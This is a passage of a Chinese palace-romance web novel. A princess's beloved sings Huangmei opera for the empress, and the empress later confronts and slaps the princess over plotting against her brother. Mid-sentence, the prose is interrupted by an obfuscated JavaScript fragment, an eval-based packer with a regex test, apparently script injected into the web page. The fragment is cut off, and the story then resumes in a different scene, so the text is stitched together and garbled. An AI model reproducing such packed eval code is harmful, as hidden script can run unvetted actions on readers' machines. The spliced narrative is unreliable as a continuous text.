郎俊女貌。 两人光是站在一起,就美好得似一幅春光山居图。 温吟知靠近了他些,悄声问:“可有事吗?” 清眸低垂,鸦羽投下一片阴影。 他低头看着眼前的姑娘,道:“并未,皇后娘娘只是想听我唱曲。” 温吟知悬着的心终于放下。 但他大病初愈,温吟知并不想让肖赢上台表演。因为肖赢的舞台大多数都是很热血沸腾的唱跳,这对他伤势不利。 像是看出了她的担忧,肖赢温和地安抚她道:“信我,无碍。” 温吟知看着肖赢温和的双眸,鬼使神差地点点头。 但她还是小声委婉道:“我母后是个古人,接受不了太潮的东西。” 她能接受肖赢穿着这一身飘逸似仙的衣服搞唱跳,但她不知晓她母后对新事物的接受程度,还是不要让肖赢冒这个险了。 听闻此话的肖赢眉眼含笑地颔首:“好。” 听不到二人窃窃私语的裴氏忍不住开口道:“肖公子现在可以开始了吗?” “可以。”肖赢不慌不忙应道,姿态从容地往外走几步,对着外边的人说:“进来吧。” “浓浓。”裴氏拍了拍她身侧的位置,温吟知会意坐在裴氏身侧,视线一直锁定在肖赢身上。 当看到一一抱着二胡、笛子、还有自制沙漏,和架子鼓的乐女们,她不由瞳孔微张,紧张地看向自己母后。 只瞧见母后微微挑眉,眼底只露出几分好奇,并无恶意。 温吟知一时间有些迷茫,不知母后是来寻肖赢麻烦的,还是单纯想来瞧人的。她这几日做得那些事,都够在野史上名垂千古了。 熟悉的音乐声响起,打乱了温吟知的思绪。她下意识往肖赢的方向看去,她知道肖赢要唱什么了。恰巧肖赢也看向她,二人目光在空中汇聚,心有灵犀地相视一笑。 他看着她开唱:“从小爹娘就对我讲,黄梅戏那可不是很好唱。模仿着大人的身段模样,实现了我的愿望。”注① 嗓音清脆,音律悦耳,字音准确。 这一段经典的旋律,将温吟知带回那个熟悉的世界里。 在场所有人的眼睛瞬间亮了,目光直直地看向肖赢。 温吟知观察着母后被深深吸引的表情,以及周围人的反应,有种自己珍藏许久的宝贝终于被大家看到认可的自豪感。 肖赢唱的是来自后世黄梅戏中女驸马一曲。 当他用戏腔唱着‘为救李郎离家园,谁料皇榜中状元’(注②)时,温吟知即使是他十年的歌迷,也根本挪不开自己的双眸。 她在现代可从未听过肖赢唱过戏曲,这和唱流行音乐不同,戏曲属于声乐学,在发声、吐字、行腔、气息上的要求都不同。 她从早上出门至今才过三个时辰,肖赢便可以在这么短的时间内,教会使用不同乐器的乐女进行一场完整的演出。可见他在音乐方面上的造诣到底有多高。 他本该在舞台上闪闪发光,做他的大明星的。 肖赢边唱边观察着大家的接受程度,还好在场的所有观众都未流露出排斥的神色。 他的这场演出是成功的。 温吟知这一刻就像是回到现代演唱会舞台上,肖赢在舞台上快乐恣意的日子里。 随着最后一个甩袖的动作,肖赢衣袖上的青纱随风盖落在他头上。他动作从容地掀开青纱,青纱之下是他羞涩的笑和如玉般的容颜。温吟知看着他忍不住笑得眉目弯弯,满心满眼里的都是喜欢。 谁人能不爱‘甜妹’呢? 包括她的母后也逃不脱甜妹定律。温吟知看向自己的母后,母后正满脸慈爱地看着肖赢。 肖赢协众位女乐工谢幕。 裴氏满意地夸赞道:“人是长得极极漂亮的,唱功也十分了得。本宫从未听过这般的曲子,你是从何处习来的。” 肖赢不急不躁地答道:“偶然间从一残缺孤本上所得,孤本上正巧记载着这一出女驸马。” “哦?女驸马?”裴氏提了兴趣,“女子怎能为驸马。” 肖赢:“这便要从主人公的早年经历说起。” 肖赢向裴氏讲述女驸马的故事,听完整个故事的裴氏心中感慨万分。其中让她最受震撼的便是:“冯素珍一闺阁女子,为救李朗,女扮男装冒名赶考,竟中状元。既救己于水火之中,亦救了心上人。” “冯素珍之才丝毫不逊色于男子,是位有勇有谋有才华的女子。” 肖赢含笑颔首,视线温柔地落在温吟知身上,再移回来称赞裴氏:“娘娘大慧。” 温吟知怔了怔,这才后知后觉的反应过来,肖赢为何要选黄梅戏中这一出女驸马。 裴氏仔细打量着肖赢,她难得见到从底层上来,有他这般长相出众外、还进退有度的人。 看得出来,肖赢是个好孩子。但裴氏也很难判断出是,这一切是不是浓浓提前便交代好的。 裴氏心中情绪缭乱,但面上不显。她对着屋内众人道:“除永宁外,你们都先下去。” 众乐工随侍宫女齐齐退下,肖赢看向温吟知。她点点头,肖赢便随着人群退出。 温吟知静候母后的下文,思家不知晓从哪扇窗户里跳进来,径直跑到温吟知身侧的圆桌上,安稳趴下。 裴氏没驱赶它,也没拐弯抹角,直接问道:“今日这曲黄梅戏,是你提前安排好哄母后的吗?” 她知道浓浓不会对她撒谎的。 温吟知否认:“不是,女儿并未想过。” 她想得更多的是如何成功进入金銮殿。 结合浓浓刚回宫时急切的神情,裴氏明白她说了实话,今日这出戏是那位姓肖的戏子擅自做主安排好的。 他倒是有心了,是个知冷知热的人。但他的身份难登大雅之堂,是远远配不上自家浓浓的。裴氏在心中惋惜,回想起两人站在一起时的光景,就连春色都逊色了。 裴氏今日而来,就是为了解决自家女儿流言蜚语一事。方才那出,只是顺便瞧瞧流言蜚语的主角。主角为人如何,便有不同的处置方法。只有见上一面,她方能知晓该如何处置。 裴氏与温吟知说着掏心窝子的话:“母后亦是过来人,知晓人总会被美丽的皮囊所迷惑。但浓浓,成婚生子是一辈子的事情。肖郢他身份低微,若母后跟你父皇去后,你兄长也有鞭长莫及的时候。到那时,他能护住你吗?” 温吟知神情平静端坐在位,未发一言。反倒是思家不耐烦地摇着尾巴,微微眯起的眼睛里透露出一丝危险。 裴氏以为温吟知没有反对,便是默认她的说法。她爱惜肖赢的才华,也心疼自己这情窍初开的女儿,便破例做主一次。 裴氏说:“母后会将他提携为正八品协律郎,让他摆脱奴籍,留在母后身侧。并对外宣称他是你特为母后寻来取乐的戏子,以替你正名。” “从此,你便与他划清界限,再无瓜葛。” 话落,静默一瞬。 温吟知看着裴氏,见她没有继续的意思,这才开口问:“母后说完了吗?” 裴氏颔首。 温吟知不知是该庆幸还是懊恼:“原来母后还不知今日发生了何事。” 难怪母后刚才将众人支开后说‘今日这曲黄梅戏,是你提前安排好哄母后的吗?’。母后以为她行事放浪张扬,犯了错,知晓母后必然会来寻自己的,因此安排好戏曲哄母后开心。 而她以为是另外一层意思。 温吟知没有答应替肖赢做决定:“协律郎一事得征求肖郢本人的同意,女儿不会替他做主。” 裴氏不以为然:“他能摆脱奴籍成为八品官员,这是多少人几辈子都修不来的福气,他自然是乐意的。” “至于发生何事,浓浓是指你今日进入金銮殿帮钦儿证明稻种一事吗?”裴氏出门来栖鸾宫前,听小太监提了一句陛下请永宁公主入金銮殿。 今日朝会陛下会将钦儿研制出四石稻种一事,在民间公之于众。因此裴氏下意识以为自家女儿是去帮忙的。 温吟知垂下头,伸手摸了摸思家的额头上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们走后,四哥登基。而女儿被四哥软禁,困于小小的院中。”想起这些她神色有些恍惚,“在那看不清的梦里,有一男子入了女儿的寝殿里……” “再接着便是女儿撕心裂肺的哭声,以及从门沿出渗出的鲜血。” 那是一段即使饮了安神汤也无法安神的日子。 日日入梦,皆是此景。 “我不信他。”温吟知铿锵有力地说道,她口中的他便是温元钦。 她说:“我不信任何人,我只相信我自己。” 裴氏摇头,语气和婉了些:“浓浓,那只是梦。父皇跟母后不会死,你四哥也不会如此对你,更无人可伤你。你要分得清梦境与现实。” 裴氏忽然间有些理解浓浓为何如此了。 她说:“你这是梦魇久了,得了癔症,将梦里的事当真了。” 温吟知闭上眼摇头。 不,不是的。她很清醒,即使这些事情都没有发生,但至少让她看清楚了温元钦,让她明白即使是一母同胞的嫡亲哥哥也并不可靠。 裴氏不想与她继续争论此事,心下已经做了决定,必然要寻太医替她瞧瞧。 裴氏先退一步:“好,此事先不提。母后知你性子要强,不愿相让属于你自个的东西。但你为何要设计害你四哥,将他勾上人命?” 她痛心疾首地看着温吟知:“浓浓你可是被父皇母后细心呵护长大、金枝玉叶的公主,为何要使这般肮脏的手段去陷害你亲哥哥。” 裴氏无法置信自己精心培养十六年的女儿,众女子典范的嫡公主,背地里却是个……她不想用‘蛇蝎心肠’这般歹毒的词去形容自己的女儿。但浓浓明明就坐在那,她却感觉浓浓离她好远好远,陌生得不似她认识的那个人。 温吟知双眸低垂,语气里毫无忏悔之意:“若哥哥不杀他,他便不会死。” 裴氏一怔。 温吟知慢慢地抬起眼,裴氏看着她,她倔强的眼神里带着几丝不服气。 她迎着裴氏的目光,铮铮然说道:“而且——他该死。” “就算再来一千次,一万次,女儿都必将他杀之!” “你!” “你……”裴氏气不成声,气急之下挥起手重重朝她脸上落下。 啪—— 清脆的掌掴声。 趴在温吟知手边的思家立即炸毛,原地跳跃向裴氏扑去,裴氏惊得连连后退。 思家挡在温吟知身前,不允许裴氏靠近。 这是温吟知两辈子以来,第一次被人掌掴。那一瞬间,她的眼前闪过许许多多的回忆,从她牙牙学语到亭亭玉立,眼前的母后始终都是温柔大气端庄的母后,从未这般对待她。 温吟知捂着被掌掴的那半张脸,愣了许久。 同样愣了许久的,还有裴氏。 温吟知始终保持着被掌掴后的那个姿势,她没有转过脸来,问:“母后也觉得女儿是位满肚子算计,歹毒的女子?” 裴氏哆嗦着手,从未想过自己也会如市井妇人一般动手打人,打得还是她最喜爱的浓浓。 可浓浓的语气里听不出任何情绪,似从心底里不觉得自个残害手足,草菅人命有错。 这让内心懊悔的裴氏咬着牙,眼含热泪,说了句:“是。”